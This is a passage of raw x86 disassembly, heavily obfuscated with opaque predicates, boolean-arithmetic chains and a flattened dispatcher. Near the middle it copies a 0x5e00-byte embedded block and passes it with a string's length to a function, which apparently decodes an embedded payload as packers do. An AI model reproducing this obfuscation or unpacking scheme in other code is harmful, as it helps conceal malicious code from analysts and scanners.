mov bh, bl
xor bh, 1
mov byte [ebp - 0x1fe], al
and al, bh
mov byte [ebp - 0x1ff], al
mov al, bl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x200], al
mov al, byte [ebp - 0x1ff]
or ch, al
mov al, byte [ebp - 0x200]
or al, bh
xor ch, al
mov al, bl
xor al, 1
xor ch, 0xff
mov bh, bl
xor bh, 1
or al, ch
or bh, 1
xor al, 0xff
and al, bh
mov ch, bl
xor ch, 1
and ch, 1
mov bh, bl
xor bh, 1
and bh, 1
or ch, bh
mov bh, byte [ebp - 0x1fe]
xor bh, 0xff
mov byte [ebp - 0x201], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x202], al
mov al, bl
xor al, 1
mov byte [ebp - 0x203], al
mov al, byte [ebp - 0x202]
or bh, al
mov al, byte [ebp - 0x203]
or al, 1
xor bh, 0xff
and bh, al
mov al, bl
xor al, 1
and al, 1
mov byte [ebp - 0x204], al
mov al, bl
xor al, 1
and al, 1
mov byte [ebp - 0x205], al
mov al, byte [ebp - 0x204]
mov byte [ebp - 0x206], cl
mov cl, byte [ebp - 0x205]
or al, cl
xor al, 0xff
mov cl, bl
xor cl, 1
mov byte [ebp - 0x207], al
mov al, bl
xor al, 0
mov byte [ebp - 0x208], al
mov al, byte [ebp - 0x207]
or al, cl
mov cl, byte [ebp - 0x208]
or cl, 0
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 1
xor ch, 0xff
mov byte [ebp - 0x209], al
mov al, bl
xor al, 1
or cl, ch
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x201]
xor al, 0xff
mov ch, bh
xor ch, 0xff
mov byte [ebp - 0x20a], al
mov al, bl
xor al, 1
mov byte [ebp - 0x20b], al
mov al, byte [ebp - 0x20a]
and al, 0xff
mov byte [ebp - 0x20c], al
mov al, byte [ebp - 0x201]
mov byte [ebp - 0x20d], cl
mov cl, byte [ebp - 0x20b]
and al, cl
mov cl, ch
and cl, 0xff
mov byte [ebp - 0x20e], al
mov al, byte [ebp - 0x20b]
and bh, al
mov al, byte [ebp - 0x20c]
mov byte [ebp - 0x20f], cl
mov cl, byte [ebp - 0x20e]
or al, cl
mov cl, byte [ebp - 0x20f]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x20a]
or cl, ch
xor cl, 0xff
mov ch, byte [ebp - 0x20b]
or ch, 1
and cl, ch
or al, cl
mov cl, byte [ebp - 0x209]
mov ch, byte [ebp - 0x20d]
and cl, ch
mov bh, byte [ebp - 0x209]
xor bh, ch
or cl, bh
mov bh, al
xor bh, 0xff
and bh, 1
mov ch, bl
xor ch, 1
and al, ch
mov byte [ebp - 0x210], al
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ch
mov ch, byte [ebp - 0x210]
or bh, ch
or al, cl
xor bh, al
mov al, bl
xor al, 1
and al, 0
mov cl, bl
xor cl, 0
mov ch, cl
and ch, 1
mov byte [ebp - 0x211], al
mov al, bl
xor al, 1
and al, 0
and cl, 1
mov byte [ebp - 0x212], al
mov al, byte [ebp - 0x211]
or al, ch
mov ch, byte [ebp - 0x212]
or ch, cl
xor al, ch
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0x213], al
mov al, ah
and al, ch
mov byte [ebp - 0x214], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
mov byte [ebp - 0x215], al
mov al, byte [ebp - 0x214]
or cl, al
mov al, byte [ebp - 0x215]
or al, ch
xor cl, al
mov al, bl
xor al, 1
and al, 0
mov ch, bl
xor ch, 0
mov byte [ebp - 0x216], al
mov al, ch
and al, 1
mov byte [ebp - 0x217], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
mov byte [ebp - 0x218], al
mov al, byte [ebp - 0x216]
mov byte [ebp - 0x219], cl
mov cl, byte [ebp - 0x217]
or al, cl
mov cl, byte [ebp - 0x218]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x213]
xor cl, 0xff
mov ch, bl
xor ch, 1
mov byte [ebp - 0x21a], al
mov al, bl
xor al, 1
or cl, ch
or al, 1
xor cl, 0xff
and cl, al
mov al, bl
xor al, 1
mov ch, byte [ebp - 0x21a]
xor ch, 0xff
mov byte [ebp - 0x21b], al
mov al, bl
xor al, 1
mov byte [ebp - 0x21c], al
mov al, byte [ebp - 0x21b]
or al, ch
mov ch, byte [ebp - 0x21c]
or ch, 1
xor al, 0xff
and al, ch
mov ch, bl
xor ch, 1
mov byte [ebp - 0x21d], al
mov al, byte [ebp - 0x219]
xor al, ch
mov ch, byte [ebp - 0x219]
and al, ch
mov ch, byte [ebp - 0x21a]
xor ch, 0xff
mov byte [ebp - 0x21e], al
mov al, ah
xor al, ch
and al, ah
mov ah, cl
xor ah, 0xff
mov ch, byte [ebp - 0x21d]
xor ch, 0xff
mov byte [ebp - 0x21f], al
mov al, bl
xor al, 0
mov byte [ebp - 0x220], al
mov al, ah
and al, 0
mov byte [ebp - 0x221], al
mov al, byte [ebp - 0x220]
and cl, al
mov al, ch
and al, 0
mov byte [ebp - 0x222], al
mov al, byte [ebp - 0x21d]
mov byte [ebp - 0x223], cl
mov cl, byte [ebp - 0x220]
and al, cl
mov cl, byte [ebp - 0x221]
mov byte [ebp - 0x224], al
mov al, byte [ebp - 0x223]
or cl, al
mov al, byte [ebp - 0x222]
mov byte [ebp - 0x225], cl
mov cl, byte [ebp - 0x224]
or al, cl
mov cl, byte [ebp - 0x225]
xor cl, al
or ah, ch
xor ah, 0xff
mov al, byte [ebp - 0x220]
or al, 0
and ah, al
or cl, ah
mov al, byte [ebp - 0x21e]
mov ah, byte [ebp - 0x21f]
and al, ah
mov ch, byte [ebp - 0x21e]
xor ch, ah
or al, ch
mov ch, cl
xor ch, 0xff
mov ah, al
and ah, ch
xor al, 0xff
and cl, al
or ah, cl
mov al, byte [ebp - 0x213]
xor al, 0xff
mov cl, byte [ebp - 0x219]
xor cl, 0xff
mov ch, bl
xor ch, 1
mov byte [ebp - 0x226], al
and al, 0xff
mov byte [ebp - 0x227], al
mov al, byte [ebp - 0x213]
and al, ch
mov byte [ebp - 0x228], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x229], al
mov al, byte [ebp - 0x219]
and al, ch
mov byte [ebp - 0x22a], al
mov al, byte [ebp - 0x227]
mov byte [ebp - 0x22b], cl
mov cl, byte [ebp - 0x228]
or al, cl
mov cl, byte [ebp - 0x229]
mov byte [ebp - 0x22c], al
mov al, byte [ebp - 0x22a]
or cl, al
mov al, byte [ebp - 0x22c]
xor al, cl
mov cl, byte [ebp - 0x226]
mov byte [ebp - 0x22d], al
mov al, byte [ebp - 0x22b]
or cl, al
xor cl, 0xff
or ch, 1
and cl, ch
mov ch, byte [ebp - 0x22d]
or ch, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov al, bl
xor al, 1
and ch, al
or cl, ch
mov al, byte [ebp - 0x21a]
and al, 1
mov ch, byte [ebp - 0x21a]
xor ch, 1
or al, ch
xor al, 0xff
mov ch, cl
xor ch, al
and ch, cl
mov al, ah
xor al, 0xff
mov cl, ch
xor cl, 0xff
mov byte [ebp - 0x22e], al
mov al, bl
xor al, 1
mov byte [ebp - 0x22f], al
mov al, byte [ebp - 0x22e]
and al, 0xff
mov byte [ebp - 0x230], al
mov al, byte [ebp - 0x22f]
and ah, al
mov al, cl
and al, 0xff
mov byte [ebp - 0x231], al
mov al, byte [ebp - 0x22f]
and ch, al
mov al, byte [ebp - 0x230]
or al, ah
mov ah, byte [ebp - 0x231]
or ah, ch
xor al, ah
mov ah, byte [ebp - 0x22e]
or ah, cl
xor ah, 0xff
mov cl, byte [ebp - 0x22f]
or cl, 1
and ah, cl
or al, ah
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, bl
xor ah, 1
and al, ah
xor bl, 1
and bl, 0xff
and ah, 1
or cl, al
or bl, ah
xor cl, bl
mov al, bh
xor al, 0xff
mov ah, cl
and ah, al
xor cl, 0xff
mov al, bh
and al, cl
or ah, al
xor bh, 0xff
mov al, ah
xor al, bh
and al, ah
mov cl, al
xor cl, 0xff
mov ah, byte [ebp - 0x206]
xor ah, cl
mov cl, byte [ebp - 0x206]
and ah, cl
xor cl, 0xff
mov ch, al
and ch, cl
xor al, 0xff
mov cl, byte [ebp - 0x206]
and cl, al
or ch, cl
mov al, ah
and al, ch
xor ah, ch
or al, ah
test al, 1
mov esi, dword [ebp - 0x150]
cmovne esi, edx
mov dword [ebp - 0x28], esi
jmp 0x5eb807
mov eax, 0x87eb9169
mov ecx, 0xb8605f1
mov dl, byte [ebp - 0xe]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x5eb807
mov eax, 0xa2d04e06
mov ecx, 0x3920d31
mov dl, 1
mov esi, 0x7e4be055
mov edi, 0x3998ad42
mov ebx, 0xe727d041
mov dword [ebp - 0x238], eax
xor eax, eax
mov dword [ebp - 0x23c], eax
mov eax, dword [0x5f90ac]
mov dword [ebp - 0x240], eax
mov eax, dword [0x5f90a4]
mov dword [ebp - 0x244], eax
mov eax, dword [ebp - 0x23c]
sub eax, 0x28265193
mov dword [ebp - 0x248], eax
mov eax, dword [ebp - 0x240]
mov dword [ebp - 0x24c], ecx
mov ecx, dword [ebp - 0x248]
add eax, ecx
add eax, 0x88d6be16
sub eax, 0x7a812839
sub eax, 0x88d6be16
mov ecx, dword [ebp - 0x23c]
sub ecx, eax
mov eax, dword [ebp - 0x23c]
sub eax, 0x28265193
add ecx, eax
mov eax, dword [ebp - 0x23c]
sub eax, ecx
add eax, 0x214586d2
add eax, 0x67a02cfd
sub eax, 0x214586d2
sub eax, 0xa0c2157f
sub eax, 1
add eax, 0xa0c2157f
sub eax, 0x69a073bd
sub eax, 0x67a02cfd
add eax, 0x69a073bd
add ebx, 0
sub ebx, eax
sub ebx, 0xe727d041
add edi, 0
sub edi, 0x7a812839
sub edi, 0x3998ad42
add ebx, 0xe0cd622f
add ebx, edi
sub ebx, 0xe0cd622f
add esi, 0
sub esi, ebx
sub esi, 0x7e4be055
mov eax, dword [ebp - 0x240]
imul eax, esi
and eax, 1
cmp eax, 0
sete dh
mov eax, dword [ebp - 0x244]
cmp eax, 0xa
setl al
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, al
and ch, cl
or ah, ch
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, dh
and bl, ch
mov bh, ah
xor bh, 0xff
and bh, 0xff
and ah, ch
or cl, bl
or bh, ah
xor cl, bh
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov ch, dl
xor ch, 0
or cl, ah
or ch, 0
xor cl, 0xff
and cl, ch
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov bl, dh
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, dl
xor ch, 1
xor ah, 0xff
mov bl, dl
xor bl, 1
or ch, ah
or bl, 1
xor ch, 0xff
and ch, bl
mov ah, dl
xor ah, 1
and ah, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 1
mov byte [ebp - 0x24d], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or ah, bh
or al, bl
xor ah, al
mov al, ah
xor al, 0xff
mov bl, dh
xor bl, al
and bl, dh
mov al, byte [ebp - 0x24d]
xor al, 0xff
and al, 0
mov dh, dl
xor dh, 0
mov bh, byte [ebp - 0x24d]
and bh, dh
mov byte [ebp - 0x24e], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
mov byte [ebp - 0x24f], al
mov al, byte [ebp - 0x24e]
or al, bh
mov bh, byte [ebp - 0x24f]
or bh, dh
xor al, bh
mov dh, dl
xor dh, 1
mov bh, al
xor bh, dh
and bh, al
xor ah, 0xff
mov al, byte [ebp - 0x24d]
xor al, ah
mov ah, byte [ebp - 0x24d]
and al, ah
mov dh, ch
xor dh, 0xff
mov ah, bl
xor ah, 0xff
mov byte [ebp - 0x250], al
mov al, dl
xor al, 1
mov byte [ebp - 0x251], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x252], al
mov al, byte [ebp - 0x251]
and ch, al
mov al, ah
and al, 0xff
mov byte [ebp - 0x253], al
mov al, byte [ebp - 0x251]
and bl, al
mov al, byte [ebp - 0x252]
or al, ch
mov ch, byte [ebp - 0x253]
or ch, bl
xor al, ch
or dh, ah
xor dh, 0xff
mov ah, byte [ebp - 0x251]
or ah, 1
and dh, ah
or al, dh
mov ah, bh
mov ch, byte [ebp - 0x250]
and ah, ch
xor bh, ch
or ah, bh
mov dh, al
xor dh, 0xff
mov bl, ah
and bl, dh
xor ah, 0xff
and al, ah
or bl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov dh, cl
and dh, ah
mov bh, dl
xor bh, 1
and bh, 0xff
and ah, 1
or al, dh
or bh, ah
xor al, bh
mov ah, bl
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
mov bh, bl
and bh, dh
mov ch, dl
xor ch, 1
and ch, 0xff
and dh, 1
or ah, bh
or ch, dh
xor ah, ch
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
mov bh, dh
and bh, 1
mov byte [ebp - 0x254], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
or ch, bh
or al, dh
xor ch, al
mov al, dl
xor al, 1
mov dh, byte [ebp - 0x254]
xor dh, al
mov al, byte [ebp - 0x254]
and dh, al
xor cl, 0xff
mov bh, ch
xor bh, 0xff
mov al, dl
xor al, 1
or cl, bh
or al, 1
xor cl, 0xff
and cl, al
mov al, dl
xor al, 1
mov bh, ah
xor bh, al
and bh, ah
mov al, ch
xor al, 0xff
mov byte [ebp - 0x255], al
mov al, bl
mov byte [ebp - 0x256], cl
mov cl, byte [ebp - 0x255]
xor al, cl
and al, bl
mov cl, dh
mov bl, byte [ebp - 0x256]
and cl, bl
xor dh, bl
or cl, dh
mov dh, bh
and dh, al
xor bh, al
or dh, bh
mov al, cl
xor al, 0xff
and al, 1
mov bh, dl
xor bh, 1
and cl, bh
mov bl, dh
xor bl, 0xff
and bl, 0xff
and dh, bh
or al, cl
or bl, dh
xor al, bl
mov cl, byte [ebp - 0x254]
and cl, ah
mov dh, byte [ebp - 0x254]
xor dh, ah
or cl, dh
mov ah, cl
xor ah, 0xff
and ah, 0
mov dh, dl
xor dh, 0
and cl, dh
mov bl, dl
xor bl, 1
and bl, 0
and dh, 1
or ah, cl
or bl, dh
xor ah, bl
mov cl, ch
and cl, 1
xor ch, 1
or cl, ch
xor cl, 0xff
mov ch, ah
xor ch, cl
and ch, ah
mov cl, al
xor cl, 0xff
mov ah, ch
xor ah, 0xff
xor dl, 1
mov dh, cl
and dh, 0xff
and al, dl
mov bl, ah
and bl, 0xff
and ch, dl
or dh, al
or bl, ch
xor dh, bl
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or dh, cl
test dh, 1
mov esi, dword [ebp - 0x238]
mov edi, dword [ebp - 0x24c]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x5eb807
lea eax, [0x5f0404]
mov ecx, 0x5e00
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x5e00
mov dword [ebp - 0x25c], ecx
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
sub esp, 4
mov dword [esp], edx
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x264], ecx
call sub.KERNEL32.dll_lstrlenA
mov ecx, 0x5e00
sub esp, 0x10
mov edx, dword [ebp - 0x260]
mov dword [esp], edx
mov edx, dword [ebp - 0x264]
mov dword [esp + 4], edx
mov dword [esp + 8], 0x5e00
mov dword [esp + 0xc], eax
mov dword [ebp - 0x268], ecx
call fcn.00558880
add esp, 0x10
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
sub esp, 4
mov dword [esp], ecx
mov dword [ebp - 0x26c], eax
call fcn.0058eaf0
add esp, 4
mov ecx, 0xa2d04e06
mov edx, 0xd85a29e0
mov bl, 1
xor esi, esi
mov edi, dword [ebp - 0x18]
mov dword [edi], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
setne bh
and bh, 1
mov byte [ebp - 0xd], bh
mov eax, dword [0x5f90ac]
mov edi, dword [0x5f90a4]
mov dword [ebp - 0x270], eax
mov eax, esi
sub eax, 1
add eax, 0
mov dword [ebp - 0x274], eax
mov eax, esi
mov dword [ebp - 0x278], ecx
mov ecx, dword [ebp - 0x274]
sub eax, ecx
sub esi, eax
mov eax, dword [ebp - 0x270]
sub eax, 0xa3f23cc9
sub eax, 0x4c93d771
add eax, 0xa3f23cc9
sub eax, 0x462d9eb8
add eax, esi
add eax, 0x462d9eb8
sub eax, 0xf2fc220d
add eax, 0x4c93d771
add eax, 0xf2fc220d
mov esi, dword [ebp - 0x270]
imul esi, eax
and esi, 1
cmp esi, 0
sete bh
cmp edi, 0xa
setl al
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, bl
xor cl, 1
mov ch, al
and ch, cl
mov byte [ebp - 0x279], al
mov al, bl
xor al, 1
and al, 0xff
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov al, bh
xor al, 0xff
mov cl, ah
and cl, al
xor ah, 0xff
mov al, bh
and al, ah
or cl, al
xor cl, 0xff
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0
or cl, al
or ah, 0
xor cl, 0xff
and cl, ah
mov al, bh
xor al, 0xff
and al, 1
mov ah, bl
xor ah, 1
mov ch, bh
and ch, ah
or al, ch
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, bl
xor ah, 1
and ah, 1
mov ch, bl
xor ch, 1
and ch, 1
or ah, ch
xor bh, 0xff
mov ch, ah
xor ch, 0xff
mov byte [ebp - 0x27a], al
mov al, bl
xor al, 1
or bh, ch
or al, 1
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x279]
xor al, 0xff
and al, 0
mov ch, bl
xor ch, 0
mov byte [ebp - 0x27b], al
mov al, byte [ebp - 0x279]
and al, ch
mov byte [ebp - 0x27c], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
mov byte [ebp - 0x27d], al
mov al, byte [ebp - 0x27b]
mov byte [ebp - 0x27e], cl
mov cl, byte [ebp - 0x27c]
or al, cl
mov cl, byte [ebp - 0x27d]
or cl, ch
xor al, cl
xor al, 0xff
mov cl, bl
xor cl, 1
mov ch, bl
xor ch, 1
or al, cl
or ch, 1
xor al, 0xff
and al, ch
xor ah, 0xff
mov cl, byte [ebp - 0x279]
xor cl, ah
mov ah, byte [ebp - 0x279]
and cl, ah
mov ch, byte [ebp - 0x27a]
xor ch, 0xff
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0x27f], al
mov al, bl
xor al, 0
mov byte [ebp - 0x280], al
mov al, ch
and al, 0
mov byte [ebp - 0x281], al
mov al, byte [ebp - 0x27a]
mov byte [ebp - 0x282], cl
mov cl, byte [ebp - 0x280]
and al, cl
mov cl, ah
and cl, 0
mov byte [ebp - 0x283], al
mov al, byte [ebp - 0x280]
and bh, al
mov al, byte [ebp - 0x281]
mov byte [ebp - 0x284], cl
mov cl, byte [ebp - 0x283]
or al, cl
mov cl, byte [ebp - 0x284]
or cl, bh
xor al, cl
or ch, ah
xor ch, 0xff
mov cl, byte [ebp - 0x280]
or cl, 0
and ch, cl
or al, ch
mov cl, byte [ebp - 0x27f]
xor cl, 0xff
mov ah, byte [ebp - 0x282]
xor ah, 0xff
mov ch, bl
xor ch, 0
mov bh, cl
and bh, 0
mov byte [ebp - 0x285], al
mov al, byte [ebp - 0x27f]
and al, ch
mov byte [ebp - 0x286], al
mov al, ah
and al, 0
mov byte [ebp - 0x287], al
mov al, byte [ebp - 0x282]
and al, ch
mov byte [ebp - 0x288], al
mov al, byte [ebp - 0x286]
or bh, al
mov al, byte [ebp - 0x287]
mov byte [ebp - 0x289], cl
mov cl, byte [ebp - 0x288]
or al, cl
xor bh, al
mov al, byte [ebp - 0x289]
or al, ah
xor al, 0xff
or ch, 0
and al, ch
or bh, al
mov al, byte [ebp - 0x285]
xor al, 0xff
and al, 0
mov cl, bl
xor cl, 0
mov ah, byte [ebp - 0x285]
and ah, cl
mov ch, bh
xor ch, 0xff
and ch, 0
and bh, cl
or al, ah
or ch, bh
xor al, ch
mov cl, al
xor cl, 0xff
mov ah, byte [ebp - 0x27e]
xor ah, cl
mov cl, byte [ebp - 0x27e]
and ah, cl
xor cl, 0xff
and cl, 0
mov ch, bl
xor ch, 0
mov bh, byte [ebp - 0x27e]
and bh, ch
mov byte [ebp - 0x28a], al
xor al, 0xff
and al, 0
mov byte [ebp - 0x28b], al
mov al, byte [ebp - 0x28a]
and al, ch
or cl, bh
mov ch, byte [ebp - 0x28b]
or ch, al
xor cl, ch
mov al, ah
xor al, 0xff
mov ch, cl
xor ch, 0xff
xor bl, 1
mov bh, al
and bh, 0xff
and ah, bl
mov byte [ebp - 0x28c], al
mov al, ch
and al, 0xff
and cl, bl
or bh, ah
or al, cl
xor bh, al
mov al, byte [ebp - 0x28c]
or al, ch
xor al, 0xff
or bl, 1
and al, bl
or bh, al
test bh, 1
mov esi, dword [ebp - 0x278]
cmovne esi, edx
mov dword [ebp - 0x28], esi
jmp 0x5eb807
mov eax, 0x2842a84c
mov ecx, 0x7b653196
mov dl, byte [ebp - 0xd]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x5eb807
mov eax, 0x2b9fa71c
mov ecx, 0x57dd811f
mov dl, 1
mov esi, 0x520a8ed1
xor edi, edi
mov ebx, 0x4aa8b4ff
mov dword [ebp - 0x290], eax
mov eax, dword [0x5f90ac]
mov dword [ebp - 0x294], eax
mov eax, dword [0x5f90a4]
add ebx, 0
sub ebx, 0xab2f8d8b
sub ebx, 0x4aa8b4ff
mov dword [ebp - 0x298], eax
mov eax, dword [ebp - 0x294]
sub eax, 0x5d4977cf
sub eax, ebx
add eax, 0x5d4977cf
mov ebx, edi
sub ebx, eax
mov eax, edi
sub eax, 0xedb6fb47
add ebx, eax
mov eax, edi
sub eax, ebx
sub edi, 1
add eax, edi
sub eax, 0x28d71e02
sub eax, 0xedb6fb47
add eax, 0x28d71e02
add esi, 0
sub esi, 0xab2f8d8b
sub esi, 0x520a8ed1
add eax, 0x8746af9d
add eax, esi
sub eax, 0x8746af9d
mov esi, dword [ebp - 0x294]
imul esi, eax
and esi, 1
cmp esi, 0
sete dh
mov eax, dword [ebp - 0x298]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, dh
and bh, bl
mov byte [ebp - 0x299], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ah, bh
or al, bl
xor ah, al
xor ah, 0xff
xor ah, 0
and ah, 0
mov al, dl
xor al, 0
and al, 1
mov bl, dl
xor bl, 1
and bl, 0
or al, bl
mov bl, al
xor bl, 0xff
mov bh, dh
xor bh, bl
and bh, dh
mov bl, dl
xor bl, 1
and bl, 1
mov byte [ebp - 0x29a], al
mov al, dl
xor al, 1
and al, 1
or bl, al
xor bl, 0xff
mov al, dl
xor al, 0
mov byte [ebp - 0x29b], al
mov al, dl
xor al, 1
mov byte [ebp - 0x29c], al
mov al, byte [ebp - 0x29b]
or bl, al
mov al, byte [ebp - 0x29c]
or al, 1
xor bl, 0xff
and bl, al
mov al, dl
xor al, 1
mov byte [ebp - 0x29d], al
mov al, byte [ebp - 0x29a]
xor al, 0xff
mov byte [ebp - 0x29e], al
mov al, dl
xor al, 0
mov byte [ebp - 0x29f], al
mov al, byte [ebp - 0x29d]
mov dword [ebp - 0x2a4], ecx
mov cl, byte [ebp - 0x29e]
or al, cl
mov cl, byte [ebp - 0x29f]
or cl, 0
xor al, 0xff
and al, cl
mov cl, ah
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov byte [ebp - 0x2a5], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2a6], al
mov al, cl
and al, 0
mov byte [ebp - 0x2a7], al
mov al, byte [ebp - 0x2a6]
and ah, al
mov al, ch
and al, 0
mov byte [ebp - 0x2a8], al
mov al, byte [ebp - 0x2a6]
and bh, al
mov al, byte [ebp - 0x2a7]
or al, ah
mov ah, byte [ebp - 0x2a8]
or ah, bh
xor al, ah
or cl, ch
xor cl, 0xff
mov ah, byte [ebp - 0x2a6]
or ah, 0
and cl, ah
or al, cl
mov cl, bl
xor cl, 0xff
mov ah, byte [ebp - 0x2a5]
xor ah, 0xff
mov ch, dl
xor ch, 1
mov bh, cl
and bh, 0xff
and bl, ch
mov byte [ebp - 0x2a9], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x2aa], al
mov al, byte [ebp - 0x2a5]
and al, ch
or bh, bl
mov bl, byte [ebp - 0x2aa]
or bl, al
xor bh, bl
or cl, ah
xor cl, 0xff
or ch, 1
and cl, ch
or bh, cl
mov al, byte [ebp - 0x2a9]
xor al, 0xff
mov cl, bh
and cl, al
xor bh, 0xff
mov al, byte [ebp - 0x2a9]
and al, bh
or cl, al
mov al, byte [ebp - 0x299]
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x299]
and ch, ah
or al, ch
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, byte [ebp - 0x299]
xor ch, 0xff
xor ah, 0xff
mov bl, dl
xor bl, 1
or ch, ah
or bl, 1
xor ch, 0xff
and ch, bl
mov ah, al
xor ah, 0xff
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2ab], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x2ac], al
mov al, byte [ebp - 0x2ab]
and al, bh
mov byte [ebp - 0x2ad], al
mov al, bl
and al, 0xff
and ch, bh
mov byte [ebp - 0x2ae], al
mov al, byte [ebp - 0x2ac]
mov byte [ebp - 0x2af], cl
mov cl, byte [ebp - 0x2ad]
or al, cl
mov cl, byte [ebp - 0x2ae]
or cl, ch
xor al, cl
or ah, bl
xor ah, 0xff
or bh, 1
and ah, bh
or al, ah
mov cl, dl
xor cl, 0
and cl, 0
mov ah, dl
xor ah, 0
mov ch, ah
and ch, 0
mov bl, dl
xor bl, 1
and bl, 0
and ah, 1
or cl, ch
or bl, ah
xor cl, bl
mov ah, dl
xor ah, 1
xor cl, 0xff
mov ch, dl
xor ch, 1
or ah, cl
or ch, 1
xor ah, 0xff
and ah, ch
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, dl
xor ch, 0
xor cl, 0xff
mov bl, dl
xor bl, 0
or ch, cl
or bl, 0
xor ch, 0xff
and ch, bl
mov cl, ah
xor cl, 0xff
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2b0], al
mov al, cl
and al, 0xff
and ah, bh
mov byte [ebp - 0x2b1], al
mov al, bl
and al, 0xff
and ch, bh
mov byte [ebp - 0x2b2], al
mov al, byte [ebp - 0x2b1]
or al, ah
mov ah, byte [ebp - 0x2b2]
or ah, ch
xor al, ah
or cl, bl
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, dl
xor cl, 0
and cl, 1
mov ah, dl
xor ah, 1
and ah, 0
or cl, ah
mov ah, byte [ebp - 0x2af]
xor ah, 0xff
mov ch, cl
and ch, ah
xor cl, 0xff
mov ah, byte [ebp - 0x2af]
and ah, cl
or ch, ah
xor ch, 0xff
mov cl, byte [ebp - 0x2af]
xor cl, 0xff
mov ah, dl
xor ah, 0
or ch, cl
or ah, 0
xor ch, 0xff
and ch, ah
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov bl, al
and bl, ah
mov bh, dl
xor bh, 1
and bh, 0
and ah, 1
or cl, bl
or bh, ah
xor cl, bh
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, dh
and bh, bl
mov byte [ebp - 0x2b3], al
mov al, cl
xor al, 0xff
and al, 0xff
and cl, bl
or ah, bh
or al, cl
xor ah, al
xor ah, 0xff
xor dh, 0xff
mov al, dl
xor al, 0
or ah, dh
or al, 0
xor ah, 0xff
and ah, al
mov al, byte [ebp - 0x2b0]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov dh, byte [ebp - 0x2b0]
and dh, cl
or al, dh
mov cl, dl
xor cl, 0
and cl, 1
mov dh, dl
xor dh, 1
and dh, 0
or cl, dh
mov dh, dl
xor dh, 0
and dh, 1
mov bl, dl
xor bl, 1
and bl, 0
or dh, bl
mov bl, al
and bl, cl
xor al, cl
or bl, al
mov al, dh
and al, 0
xor dh, 0
or al, dh
mov cl, bl
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
and bl, dh
or cl, bl
xor al, 0xff
mov dh, cl
xor dh, al
and dh, cl
mov al, byte [ebp - 0x299]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov bl, byte [ebp - 0x299]
and bl, cl
or al, bl
mov cl, byte [ebp - 0x2b3]
